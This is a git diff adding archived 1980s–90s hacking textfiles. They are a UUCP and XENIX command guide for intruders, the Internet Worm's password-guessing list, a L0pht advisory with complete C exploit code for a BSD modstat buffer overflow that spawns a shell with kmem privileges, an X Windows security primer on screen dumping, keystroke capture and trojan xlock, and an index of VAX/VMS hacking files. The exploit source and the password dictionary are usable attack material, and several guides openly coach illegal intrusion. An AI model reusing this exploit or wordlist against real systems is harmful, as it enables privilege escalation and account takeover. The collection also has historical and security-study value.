+$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back + abbrieviated t mins] telephone number + +Uux +~~~ +To execute commands on a remote (unix to unix) +usage:[ ] are options + +$ uux [- use standard output][-n prevent mail notification][-p also use + standard output] command-string + +UUCP +~~~~ +UUCP copies files from ones computer to the home directory of a user in remote +system. This also works when copying files from one directory to another in +the remote. The remote user will be notified by mail. This command becomes +use full when copying files from a remote to your local system. The UUCP +requires the uucico daemon will call up the remote and will perform file login +sequence, file transfer, and notify the user by mail. Daemons are programs +runining in the background. The 3 daemons in a Unix are uucico, uusched, +uuxqt. + +Daemons Explained: [nows a good time to explain the 3 daemons] +~~~~~~~~~~~~~~~~~ +Uuxqt - Remote execution. This daemon is executed by uudemon.hour started by + cron.UUXQT searchs in the spool directory for executable file named + X.file sent from the remote system. When it finds a file X .file where + it obtains process which are to be executed. The next step is to find + weather the processes are available at the time.The if available it + checks permission and if everthing is o.k it proceeds the background + proccess. + +Uucico - This Daemon is very immportant for it is responsible in establishing + a connection to the remote also checks permission, performs login + procedures,transfers + executes files and also notifies the user by + mail. This daemon is called upon by uucp,uuto,uux commands. + +Uusched - This is executed by the shell script called uudemon.hour. This + daemons acts as a randomizer before the UUCICO daemon is called. + + +Usage: + +$ uucp [options] [first full path name!] file [destination path!] file example: + +$ uucp -m -s bbss hackers unix2!/usr/todd/hackers + +What this would do is send the file hackers from your computer to the remotes +/usr/todd/hackers making hackers of course as file. Todd would mail that a +file has been sent to him. The Unix2 is the name of the remote. Options for +UUCP: (Don't forget to type in remotes name Unix2 in case) +-c dont copy files to spool directory +-C copy to spool +-s[file name] - this file will contain the file status(above is bbss) +-r Dont start the comm program(uucico) yet +-j print job number(for above eg.unix2e9o3) +-m send mail when file file is complete + +Now suppose you wanted to receive file called kenya which is in the +usr/ dan/usa to your home directory /usr/john assuming that the local systems +name is ATT01 and you are currently working in /usr/dan/usa,you would type in: + +$uucp kenya ATT01!/usr/john/kenya + +Uuto +~~~~ +The uuto command allows one to send file to remote user and can also be used to +send files locally. + +Usage: + +$ uuto [file name] [system!login name]( omit systen name if local) + + +Conclusion +~~~~~~~~~~ +Theres always more one can say about the UNIX, but its time to stop. I hope +you have enjoyed the article. I apologize for the length. I hope I made the +UNIX operating system more familiar. The contents of the article are all +accurate to my knowledge. Hacking into any system is illegal so try to use +remote dial-ups to the job. Remember do not abuse any systems you hack into +for a true hacker doesn't like to wreck, but to learn. + + + + Evil Ernie + -=NLA=- + No Lamerz Allowed +============================================================================== + + diff --git a/textfiles.com/hacking/UNIX/virpassw.txt b/textfiles.com/hacking/UNIX/virpassw.txt new file mode 100644 index 00000000..50e20295 --- /dev/null +++ b/textfiles.com/hacking/UNIX/virpassw.txt @@ -0,0 +1,436 @@ +THE PASSWORDS USED BY THE INTERNET WORM + +cat virpasswords +aaa +academia +aerobics +airplane +albany +albatross +albert +alex +alexander +algebra +aliases +alphabet +ama +amorphous +analog +anchor +andromache +animals +answer +anthropogenic +anvils +anything +aria +ariadne +arrow +arthur +athena +atmosphere +aztecs +azure +bacchus +bailey +banana +bananas +bandit +banks +barber +baritone +bass +bassoon +batman +beater +beauty +beethoven +beloved +benz +beowulf +berkeley +berliner +beryl +beverly +bicameral +bob +brenda +brian +bridget +broadway +bumbling +burgess +campanile +cantor +cardinal +carmen +carolina +caroline +cascades +castle +cat +cayuga +celtics +cerulean +change +charles +charming +charon +chester +cigar +classic +clusters +coffee +coke +collins +commrades +computer +condo +cookie +cooper +cornelius +couscous +creation +creosote +cretin +daemon +dancer +daniel +danny +dave +december +defoe +deluge +desperate +develop +dieter +digital +discovery +disney +dog +drought +duncan +eager +easier +edges +edinburgh +edwin +edwina +egghead +eiderdown +eileen +einstein +elephant +elizabeth +ellen +emerald +engine +engineer +enterprise +enzyme +ersatz +establish +estate +euclid +evelyn +extension +fairway +felicia +fender +fermat +fidelity +finite +fishers +flakes +float +flower +flowers +foolproof +football +foresight +format +forsythe +fourier +fred +friend +frighten +fun +fungible +gabriel +gardner +garfield +gauss +george +gertrude +ginger +glacier +gnu +golfer +gorgeous +gorges +gosling +gouge +graham +gryphon +guest +guitar +gumption +guntis +hacker +hamlet +handily +happening +harmony +harold +harvey +hebrides +heinlein +hello +help +herbert +hiawatha +hibernia +honey +horse +horus +hutchins +imbroglio +imperial +include +ingres +inna +innocuous +irishman +isis +japan +jessica +jester +jixian +johnny +joseph +joshua +judith +juggle +julia +kathleen +kermit +kernel +kirkland +knight +ladle +lambda +lamination +larkin +larry +lazarus +lebesgue +lee +leland +leroy +lewis +light +lisa +louis +lynne +macintosh +mack +maggot +magic +malcolm +mark +markus +marty +marvin +master +maurice +mellon +merlin +mets +michael +michelle +mike +minimum +minsky +moguls +moose +morley +mozart +nancy +napoleon +nepenthe +ness +network +newton +next +noxious +nutrition +nyquist +oceanography +ocelot +olivetti +olivia +oracle +orca +orwell +osiris +outlaw +oxford +pacific +painless +pakistan +pam +papers +password +patricia +penguin +peoria +percolate +persimmon +persona +pete +peter +philip +phoenix +pierre +pizza +plover +plymouth +polynomial +pondering +pork +poster +praise +precious +prelude +prince +princeton +protect +protozoa +pumpkin +puneet +puppet +rabbit +rachmaninoff +rainbow +raindrop +raleigh +random +rascal +really +rebecca +remote +rick +ripple +robotics +rochester +rolex +romano +ronald +rosebud +rosemary +roses +ruben +rules +ruth +sal +saxon +scamper +scheme +scott +scotty +secret +sensor +serenity +sharks +sharon +sheffield +sheldon +shiva +shivers +shuttle +signature +simon +simple +singer +single +smile +smiles +smooch +smother +snatch +snoopy +soap +socrates +sossina +sparrows +spit +spring +springer +squires +strangle +stratford +stuttgart +subway +success +summer +super +superstage +support +supported +surfer +suzanne +swearer +symmetry +tangerine +tape +target +tarragon +taylor +telephone +temptation +thailand +tiger +toggle +tomato +topography +tortoise +toyota +trails +trivial +trombone +tubas +tuttle +umesh +unhappy +unicorn +unknown +urchin +utility +vasant +vertigo +vicky +village +virginia +warren +water +weenie +whatnot +whiting +whitney +will +william +williamsburg +willie +winston +wisconsin +wizard +wombat +woodwind +wormwood +yacov +yang +yellowstone +yosemite +zap +zimmerman +cyklop> diff --git a/textfiles.com/hacking/UNIX/x86bsd_m.asc b/textfiles.com/hacking/UNIX/x86bsd_m.asc new file mode 100644 index 00000000..f86456c5 --- /dev/null +++ b/textfiles.com/hacking/UNIX/x86bsd_m.asc @@ -0,0 +1,117 @@ + L0pht Security Advisory + Advisory released Dec 9 1996 + + Application: modstat + + Vulnerability Scope: systems with the *BSD + distribution of modstat sgid kmem + + Severity: Users can gain group kmem permissions + and thus read DES keys, passwords, and in certain + situations panic the machine (you know, the standard + things you can do with group kmem perms). + + Author: mudge@l0pht.com + +Overview: + + Modstat is sgid kmem which is really handy to become if you feel + like looking through /dev/mem and /dev/kmem (gee, wonder what + you might want to do that for ). Like just about everything + else under the sun it has a buffer overflow problem. The problem + exists in the dostat() routine where an arbitrary sized string + is shoved into sbuf.name through a strcpy(). + + It is also possible to panic many systems by reading through + all memory. With memory mapped architectures you will set + various flags for having read values and touched registers - + since the system is expecting these registers to be in certain states, + tripping them to other states can cause bizarre results can occur. A + quick example is to md5 through your interface to memory and watch + the confusion that can occur in certain systems ;-) So yes, in many cases + being group kmem will let you shutdown a machine in a roundabout way... + even with just Read-Only abilities. + + The difference between this and some other buffer overflow code is + that this, much like my original syslog() code has to be placed "after" + the saved stack frame since you only have under 57 bytes to deal with. + However, we don't care that we might be munging the original args and + environment vars now do we ;-). Care must still be taken to make sure the + code does not contain NULL's as strcpy will end upon it's first NULL. + +mudge@l0pht.com + +--- +Check out http://www.l0pht.com/advisories.html for other l0pht advisories +--- + +/******************************************************************** + * modstat buffer overflow code - mudge@l0pht.com * + * 8/11/96 * + * Done initially on FreeBSD as my BSDI box is down right now... * + * sigh. It should work on any x86 arch with the standard *BSD * + * implementation as they all use the same opcodes and operands. * + * Go grab the splitvt code if you want this to work on Linux. * + * * + * try with offsets of -48, 7, 271, 326 with the way this is curr. * + * setup. If these fail, brute force it . * + * * + * Many thanks to bitwrior for initially finding the code problem * + * in modstat and pointing it out to me - It's always nice when * + * someone hands you a bone to gnaw on without wanting * + * anything in particular out of it [this I know 'cause he has no * + * problems writing this sort of thing on his own]. * + *******************************************************************/ + +#include +#include + +long get_esp(void) +{ + __asm__("movl %esp, %eax\n"); +} + +main(int argc, char **argv) +{ + int i, j, offset; + char *bar, *foo; + unsigned long *esp_plus = NULL; + + + char mach_codes[] = + "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" + "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" + "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" + "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; + + + if (argc == 2) + offset = atoi(argv[1]); + else { + fprintf(stderr, "Usage: %s offset\n", argv[0]); + exit(1); + } + + bar = malloc(4096); + if (!bar){ + printf("failed to malloc memory\n"); + exit(1); + } + + foo = bar; /* copy of original ptr */ + + esp_plus = (long *)bar; + for(i=0; i < 24 ; i++) + *(esp_plus++) = (get_esp() + offset); + + printf("Using offset (0x%x)\n", (get_esp() + offset)); + + bar = (char *)esp_plus; + + for(j=0; j< strlen(mach_codes); j++) + *(bar++) = mach_codes[j]; + + *bar = 0; + + execl("/usr/bin/modstat", "modstat", "-n", foo, NULL); +} diff --git a/textfiles.com/hacking/UNIX/xenix.txt b/textfiles.com/hacking/UNIX/xenix.txt new file mode 100644 index 00000000..be978b30 --- /dev/null +++ b/textfiles.com/hacking/UNIX/xenix.txt @@ -0,0 +1,202 @@ +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +-=- XENIX -=- +=-= Commands and Infomation =-= +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +-=- Written By:Stingray -=- +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok I am gonna give you a good idea of +the commands that you can use in +XENIX system. Many of these commands +require a ROOT account but you will +need to be farmilliar with them. + +Well Here we go..... +-------------------- +cat concentrate or display + text on the screen. +CAT +- +cd change directory. + +CD returns to login + directory. +CD Chooses a specific + directory. +- +chmod change mode. + +CHMOD operation code permission + file changes the + permission mode for the + user. + A all + G group + O others + U user (login owner) +operations code + + add permission + - remove permission + = assign all permission + (read,write,and execute) +permission + r read + w write + x execute +- +cp copy file + +CP filename1 filename2 + (copies file1 to file2) + +CP filename1 filename2 dirname + (copies file1 and file2 into + a specified directory) +- +date displays the current date + and time to screen. +DATE +- +df + +DF displays the number of + blocks free on root file + system. + +DF /dev/hdx displays the number of + blocks free on specific + disk. +- +du disk usage + +DU dir displays the number of + blocks used and in what + files they are used. +- +kill terminate a process + +KILL number terminates the process + number. +- +lc list or display the + contents of a directory + and information on files + in that directory. + +LC dir name displays contents of the + specified directory. +- +lpr line print spooler + +LPR filename + outputs file to line + printer. +- +mkdir make a directory + +MKDIR dirname + creates the directory + dirname. +- +more display text on screen 1 + screen at a time. + +MORE filename + displays data in filename + 1 screen at a time. +- +mv move or rename files + and directories. + +MV filename1 filename2 + changes the name of file1 + to file2. + +MV filename1 dirname + moves filename1 to directiory + dirname. + +MV new name dirname + changes name of specified + directory. +- +passwd change your login password + +PASSWD +- +ps process status + +PS -E displays information about + all active processes. +- +pwd print working directory + +PWD displays the dir path +- +quot summarize file system + ownership. + +QUOT -F file system + displays the number of blocks + owned by each user in the + specified file system. +- +rm remove files or directories. + +RM filename + erases specified file. + +RMDIR empty directory name + removes specified empty + directory. + +RMUSER removes the specified user. +- +save save or backup files. + +SAVE 0-ss/usr/name/'filename' + copies the file onto a single + sides floppy in drive 0. + (from here type 'RESTORE 0' + to install it on the hard + drive.) +- +wall writes a message to all users + on the system. + +WALL message to be sent + (this is a good one to anounce + yourself when the system has + become useless to you.) +- +who who is on the system + +WHO displays a list of users on the + system by login name, terminal, + and login time. +- + + +Ok so there is a list of the cammands you have +available through a ROOT account on a XENIX. +XENIX is sorta a scaled down sub-version of +UNIX. So when hacking it use unix hacking +procedures. + +Well I know this is a little cut and dry but +thats the way it goes....I hope it was helpful. +Now when you get in you will know what to do. + +BIBLIOGRAPHY: +------------- +A book a ripped off the computer lab call: +XENIX + + +Thanks to P-80 for the great service they do +all of us. Thanks a million Scan Man..... + + diff --git a/textfiles.com/hacking/UNIX/xwindows.txt b/textfiles.com/hacking/UNIX/xwindows.txt new file mode 100644 index 00000000..b6829e1d --- /dev/null +++ b/textfiles.com/hacking/UNIX/xwindows.txt @@ -0,0 +1,274 @@ + +Subject: X Security - A Crash Course by runeb@stud.cs.uit.no + +Crash Course in X Windows Security + +1. Motivation / introduction +2. How open X displays are found +3. The local-host problem +4. Snooping techniques - dumping windows +5. Snooping techniques - reading keyboard +6. Xterm - secure keyboard option +7. Trojan X programs [xlock and xdm] +8. X Security tools - xauth MIT-MAGIC-COOKIE +9. Concluding remarks + +1. Motivation / introduction + + X windows pose a security risk. Through a network, anyone can connect to + an open X display, read the keyboard, dump the screen and windows and + start applications on the unprotected display. Even if this is a known + fact throughout the computer security world, few attempts on informing + the user community of the security risks involved have been made. This + article deals with some of the aspects of X windows security. It is in no + sense a complete guide to the subject, but rather an introduction to a + not-so-known field of computer security. Knowledge of the basics of the X + windows system is necessary, I haven't bothered including an introductory + section to explain the fundamentals. I wrote some code during the + research for this article, but none of it is included herein. If the + lingual flow of English seem mayhap strange and erroneous from byte to + byte, this is due to the fact that I'm Scandinavian. Bare with it. :) + +2. How open X displays are found + + An open X display is in formal terms an X server that has its access + control disabled. Disabling access control is normally done with the + xhost command. + +$ xhost + + + allows connections from any host. A single host can be allowed connection + with the command + +$ xhost + ZZZ.ZZZ.ZZZ.ZZZ + + where Z is the IP address or host-name. Access control can be enabled by + issuing an + +$ xhost - + + command. In this case no host but the local-host can connect to the + display. Period. It is as simple as that - if the display runs in 'xhost + -' state, you are safe from programs that scans and attaches to + unprotected X displays. You can check the access control of your display + by simply typing xhost from a shell. Sadly enough, most sites run their X + displays with access control disabled as default. They are therefore easy + prey for the various scanner programs circulating on the net. + + Anyone with a bit of knowledge about Xlib and sockets programming can + write an X scanner in a couple of hours. The task is normally + accomplished by probing the port that is reserved for X windows, number + 6000. If anything is alive at that port, the scanner calls + XOpenDisplay("IP-ADDRESS:0.0") that will return a pointer to the display + structure, if and only if the target display has its access control + disabled. If access control is enabled, XOpenDisplay returns 0 and + reports that the display could not be opened. + +E.g: + +Xlib: connection to "display:0.0" refused by server +Xlib: Client is not authorized to connect to Server + + The probing of port 6000 is necessary because of the fact that calling + XOpenDisplay() on a host that runs no X server will simply hang the + calling process. So much for unix programming conventions. :) + + I wrote a program called xscan that could scan an entire subnet or scan + the entries in /etc/hosts for open X displays. My remark about most sites + running X displays with access control disabled, originates from running + xscan towards several sites on the internet. + +3. The localhost problem + + Running your display with access control enabled by using 'xhost -' will + guard you from XOpenDisplay attempts through port number 6000. But there + is one way an eavesdropper can bypass this protection. If he can log into + your host, he can connect to the display of the localhost. The trick is + fairly simple. By issuing these few lines, dumping the screen of the host + 'target' is accomplished: + +$ rlogin target +$ xwd -root -display localhost:0.0 > ~/snarfed.xwd +$ exit +$ xwud -in ~/snarfed.xwd + + And voila, we have a screendump of the root window of the X server + target. + + Of course, an intruder must have an account on your system and be able to + log into the host where the specific X server runs. On sites with a lot + of X terminals, this means that no X display is safe from those with + access. If you can run a process on a host, you can connect to (any of) + its X displays. + + Every Xlib routine has the Display structure as it's first argument. By + successfully opening a display, you can manipulate it with every Xlib + call available. For an intruder, the most 'important' ways of + manipulating is grabbing windows and keystrokes. + +4. Snooping techniques - dumping windows + + The most natural way of snarfing a window from an X server is by using + the X11R5 utility xwd or X Window System dumping utility. To get a grip + of the program, here's a small excerpt from the man page + + DESCRIPTION + Xwd is an X Window System window dumping utility. Xwd allows Xusers + to store window images in a specially formatted dump file. This file + can then be read by various other X utilities for redisplay, printing, + editing, formatting, archiving, image processing, etc. The target + window is selected by clicking the pointer in the desired window. The + keyboard bell is rung once at the beginning of the dump and twice when + the dump is completed. + + Shortly, xwd is a tool for dumping X windows into a format readable by + another program, xwud. To keep the trend, here's an excerpt from the man + page of xwud: + + + DESCRIPTION + Xwud is an X Window System image undumping utility. Xwud allows X + users to display in a window an image saved in a specially formatted + dump file, such as produced by xwd(1). + + I will not go in detail of how to use these programs, as they are both + self-explanatory and easy to use. Both the entire root window, a + specified window (by name) can be dumped, or a specified screen. As a + 'security measure' xwd will beep the terminal it is dumping from, once + when xwd is started, and once when it is finished (regardless of the xset + b off command). But with the source code available, it is a matter of + small modification to compile a version of xwd that doesn't beep or + otherwise identifies itself - on the process list e.g. If we wanted to + dump the root window or any other window from a host, we could simply + pick a window from the process list, which often gives away the name of + the window through the -name flag. As before mentioned, to dump the + entire screen from a host: + +$ xwd -root localhost:0.0 > file + + the output can be directed to a file, and read with + +$ xwud -in file + + or just piped straight to the xwud command. + + Xterm windows are a different thing. You can not specify the name of an + xterm and then dump it. They are somehow blocked towards the X_Getimage + primitive used by xwd, so the following + +$ xwd -name xterm + + will result in an error. However, the entire root window (with Xterms and + all) can still be dumped and watched by xwud. Some protection. + + +5. Snooping techniques - reading keyboard + + If you can connect to a display, you can also log and store every + keystroke that passes through the X server. A program circulating the + net, called xkey, does this trick. A kind of higher-level version of the + infamous ttysnoop.c. I wrote my own, who could read the keystrokes of a + specific window ID (not just every keystroke, as my version of xkey). + The window ID's of a specific root-window, can be acquired with a call to + XQueryTree(), that will return the XWindowAttributes of every window + present. The window manager must be able to control every window-ID and + what keys are pressed down at what time. By use of the window-manager + functions of Xlib, KeyPress events can be captured, and KeySyms can be + turned into characters by continuous calls to XLookupString. + + You can even send KeySym's to a Window. An intruder may therefore not + only snoop on your activity, he can also send keyboard events to + processes, like they were typed on the keyboard. Reading/writing + keyboard events to an xterm window opens new horizons in process + manipulation from remote. Luckily, xterm has good protection techniques + for prohibiting access to the keyboard events. + + +6. Xterm - Secure keyboard option + + A lot of passwords is typed in an xterm window. It is therefore crucial + that the user has full control over which processes can read and write to + an xterm. The permission for the X server to send events to an Xterm + window, is set at compile time. The default is false, meaning that all + SendEvent requests from the X server to an xterm window is discarded. You + can overwrite the compile-time setting with a standard resource + definition in the .Xdefaults file: + +xterm*allowSendEvents True + + or by selecting Allow Sendevents on the Xterm Main Options + menu. (Accessed by pressing CTRL and the left mouse button But this is + _not_ recommended. Neither by me, nor the man page. ;) Read access is a + different thing. + + Xterms mechanism for hindering other X clients to read the keyboard + during entering of sensitive data, passwords etc. is by using the + XGrabKeyboard() call. Only one process can grab the keyboard at any one + time. To activate the Secure Keyboard option, choose the Main Options + menu in your Xterm window (CTRL+Left mouse button) and select Secure + Keyboard. If the colors of your xterm window inverts, the keyboard is + now Grabbed, and no other X client can read the KeySyms. + + The versions of Xterm X11R5 without patch26 also contain a rather nasty + and very well known security hole that enables any user to become root + through clever use of symbolic links to the password file. The Xterm + process need to be setuid for this hole to be exploitable. Refer to the + Cert Advisory: CA-93:17.xterm.logging.vulnerability. + + +7. Trojan X clients - xlock and X based logins + + Can you think of a more suitable program for installing a + password-grabbing trojan horse than xlock? I myself cannot. With a few + lines added to the getPassword routine in xlock.c, the password of every + user using the trojan version of xlock can be stashed away in a file for + later use by an intruder. The changes are so minimal, only a couple of + bytes will tell the real version from the trojan version. + + If a user has a writable homedir and a ./ in her PATH environment + variable, she is vulnerable to this kind of attack. Getting the password + is achieved by placing a trojan version of Xlock in the users homedir and + waiting for an invocation. The functionality of the original Xlock is + contained in the trojan version. The trojan version can even tidy up and + destroy itself after one succesfull attempt, and the user will not know + that his password has been captured. + + Xlock, like every password-prompting program, should be regarded with + suspicion if it shows up in places it should not be, like in your own + homedir. + + Spoofed X based logins however are a bit more tricky for the intruder to + accomplish. He must simulate the login screen of the login program ran + by XDM. The only way to ensure that you get the proper XDM login program + (if you want to be really paranoid) is to restart the X-terminal, + whatever key combination that will be for the terminal in question. + +8. X Security tools - xauth MIT-MAGIC-COOKIE + + To avoid unathorized connections to your X display, the command xauth for + encrypted X connections is widely used. When you login, xdm creates a + file .Xauthority in your homedir. This file is binary, and readable only + through the xauth command. If you issue the command + +$ xauth list + + you will get an output of: + +your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b76682f726d42544a684a + + display name authorization type key + + The .Xauthority file sometimes contains information from older sessions, + but this is not important, as a new key is created at every login + session. To access a display with xauth active - you must have the + current access key. + + If you want to open your display for connections from a particular user, + you must inform him of your key. He must then issue the command + +$ xauth add your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc. + + Now, only that user (including yourself) can connect to your display. + Xauthority is simple and powerful, and eliminates many of the security + problems with X. + diff --git a/textfiles.com/hacking/UNIX/zenixinf.hac b/textfiles.com/hacking/UNIX/zenixinf.hac new file mode 100644 index 00000000..1dd0bc5b --- /dev/null +++ b/textfiles.com/hacking/UNIX/zenixinf.hac @@ -0,0 +1,203 @@ +Unauthorised Access UK 0636-708063 10pm-7am 12oo/24oo + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +-=- XENIX -=- +=-= Commands and Infomation =-= +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +-=- Written By:Stingray -=- +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok I am gonna give you a good idea of +the commands that you can use in +XENIX system. Many of these commands +require a ROOT account but you will +need to be farmilliar with them. + +Well Here we go..... +-------------------- +cat concentrate or display + text on the screen. +CAT +- +cd change directory. + +CD returns to login + directory. +CD Chooses a specific + directory. +- +chmod change mode. + +CHMOD operation code permission + file changes the + permission mode for the + user. + A all + G group + O others + U user (login owner) +operations code + + add permission + - remove permission + = assign all permission + (read,write,and execute) +permission + r read + w write + x execute +- +cp copy file + +CP filename1 filename2 + (copies file1 to file2) + +CP filename1 filename2 dirname + (copies file1 and file2 into + a specified directory) +- +date displays the current date + and time to screen. +DATE +- +df + +DF displays the number of + blocks free on root file + system. + +DF /dev/hdx displays the number of + blocks free on specific + disk. +- +du disk usage + +DU dir displays the number of + blocks used and in what + files they are used. +- +kill terminate a process + +KILL number terminates the process + number. +- +lc list or display the + contents of a directory + and information on files + in that directory. + +LC dir name displays contents of the + specified directory. +- +lpr line print spooler + +LPR filename + outputs file to line + printer. +- +mkdir make a directory + +MKDIR dirname + creates the directory + dirname. +- +more display text on screen 1 + screen at a time. + +MORE filename + displays data in filename + 1 screen at a time. +- +mv move or rename files + and directories. + +MV filename1 filename2 + changes the name of file1 + to file2. + +MV filename1 dirname + moves filename1 to directiory + dirname. + +MV new name dirname + changes name of specified + directory. +- +passwd change your login password + +PASSWD +- +ps process status + +PS -E displays information about + all active processes. +- +pwd print working directory + +PWD displays the dir path +- +quot summarize file system + ownership. + +QUOT -F file system + displays the number of blocks + owned by each user in the + specified file system. +- +rm remove files or directories. + +RM filename + erases specified file. + +RMDIR empty directory name + removes specified empty + directory. + +RMUSER removes the specified user. +- +save save or backup files. + +SAVE 0-ss/usr/name/'filename' + copies the file onto a single + sides floppy in drive 0. + (from here type 'RESTORE 0' + to install it on the hard + drive.) +- +wall writes a message to all users + on the system. + +WALL message to be sent + (this is a good one to anounce + yourself when the system has + become useless to you.) +- +who who is on the system + +WHO displays a list of users on the + system by login name, terminal, + and login time. +- + + +Ok so there is a list of the cammands you have +available through a ROOT account on a XENIX. +XENIX is sorta a scaled down sub-version of +UNIX. So when hacking it use unix hacking +procedures. + +Well I know this is a little cut and dry but +thats the way it goes....I hope it was helpful. +Now when you get in you will know what to do. + +BIBLIOGRAPHY: +------------- +A book a ripped off the computer lab call: +XENIX + + +Thanks to P-80 for the great service they do +all of us. Thanks a million Scan Man..... + diff --git a/textfiles.com/hacking/VMS.1 b/textfiles.com/hacking/VMS.1 new file mode 100644 index 00000000..28df92cb --- /dev/null +++ b/textfiles.com/hacking/VMS.1 @@ -0,0 +1,72 @@ + +T E X T F I L E S + +

Hacking Textfiles: VAX and VMS

+

+The Operating System and Machine Family created by Digital has its own +interesting legion of fans and stadium of haters. It's weird, it's old iron, +and some people swear it's amazingly stable. Regardless, it garnered a lot of +interest from hackers for decades, and files that implore the community to +check out these grand and fascinating machines were sprinkled quite liberally +on BBSes. +

+Most of the big names of hacking in the 1980's had at least one VAX or VMS +file to offer. Also, many people wrote humor files about VAXes; those are +in the Computer Humor section. +

+ + + + + +
+
Filename
Size
Description of the Textfile
accounts.vax 5772
 Accounts to try if you wanna enter into a VAX/VMS +
basic2.hac 7275
 The Basics of Hacking II: VAXes By the Knights of Shadow +
ccc-2.txt 23016
 Beginners Guide to VAX/VMS Hacking By ENTITY of Corrupt Computing Canada (September 12, 1989) +
ccc-vms.txt 150491
 A Beginner's Guide to VAX/VMS Hacking by Entity of Corrupt Computing Canada (1989) +
ccc_2.txt 150491
 The Beginner's Guide to VAX/VMS Hacking by Corrupt Computing Canada +
deccomma 17065
 Help Screens from VMS +
hackingv.txt 6324
 Inside VAX/VMS, by Master Blaster +
newtov.txt 46604
 An Overview of the VMS Operating System +
openvms 89709
 FAQ: The DEC VMS Faq (October 19, 1995) from Steve Lionel +
practica.txt 105438
 A Practical Exercise in Securing an OpenVMS System by Rob McMillan of the University of Queensland +
tcsb.09 44251
 Telecom Computer Security Bulletin: Using the VAX/VMS Authorize Utility by line Shadow (September 10, 1988) +
vax 4887
 Step-by-Step Out-Modem Location Instructions, by Phantom +
vax-1.hac 4012
 What's Hacking? By David Lightman Vol. 1 +
vax-1.txt 4011
 VAX Computer Systems by David Lightman +
vax-2.txt 3181
 VAX Computer Systems by David Lightman #2 +
vax-3.txt 3975
 VAX Computer Systems by David Lightman #3 +
vax-4.txt 3889
 VAX Computer Systems by David Lightman #4 +
vax-5.txt 3645
 VAX Computer Systems by David Lightman #5 +
vax-6.txt 3787
 VAX Computer Systems by David Lightman #6 +
vax-7.hac 2156
 What's Hacking? By David Lightman Vol. 7 +
vax-7.txt 1024
 VAX Computer Systems by David Lightman #7 +
vax.txt 13952
 Hacking VAX's VMS System +
vaxa.txt 65419
 The VMS System User's Manual, typed in by Guardian of Time +
vaxc.txt 150296
 The Beginner's Guide to VAX/VMS Hacking, by Entity of Corrupt Computing Canada +
vaxcomma.txt 6400
 Inside Vax/Vms: Using Command Procedures by Master Blaster +
vaxdef.txt 1121
 Various Default Passwords on VAXes +
vaxfaq1.txt 16820
 The Info-VAX Monthly Posting Part 1 (August 2, 1992) +
vaxfaq2.txt 23574
 The Info-VAX Monthly Posting Part 2 (October 28, 1992) +
vaxfaq3.txt 22843
 The Info-VAX Monthly Posting Part 3 (September 5, 1992) +
vaxfaq4.txt 44676
 The Info-VAX Monthly Posting Part 4 (May 27, 1993) +
vaxhack.hac 11043
 Hacking VAX VMS's by Terry Gilligan +
vaxhack.one 4609
 VAX and VMS Hacking: An introduction +
vaxhack.txt 5282
 VAX and VMS Hacking by Metal Maniac +
vaxhackone.hac 5379
 VAX/VMS Hacking by Metal Maniac +
vaxinst.hac 12800
 Welcome to the World of VAX +
vaxinst.txt 13056
 Welcome to the World of VAX +
vaxlight.hac 24645
 What's Hacking? A Series by David Lightman: VAXES +
vaxnums.txt 1781
 A List of VAX Numbers +
vaxvmlod.hac 3968
 LOD/H Present Hacking into VAX/VMS Systems +
vaxvms.hac 6656
 Inside VAX/VMS by Master Blaster +
vaxvms.txt 6668
 Inside Vax/VMS: Using Command Procedures, by Master Blaster +
vaxvmsin.txt 2360
 Inside VAX/VMS, by Master Blaster +
vms.faq 75650
 The VMS Hack FAQ by The Beaver and Tsyvt Version 0.02 (August 18, 1995) +
vms.nap 4192
 A Profile on Vaxes, compiled by Blind Justice and Dr. Insanity +
vms.txt 11776
 A Profile on VAX's, by Blind Justice and Dr. Insanity +
vmsfaq.txt 75789
 The VMS Hacking FAQ (Beta 0.03 Release) July 20th, 1998 by The Beave and Tsywt +
vmshack.txt 3416
 Getting System Privilege under VMS by Lightfinger (1987) +
vmssecure.txt 108138
 A Practical Exercise in Securing an OpenVMS System by Rob McMillan +

There are 48 files for a total of 1,403,312 bytes.
+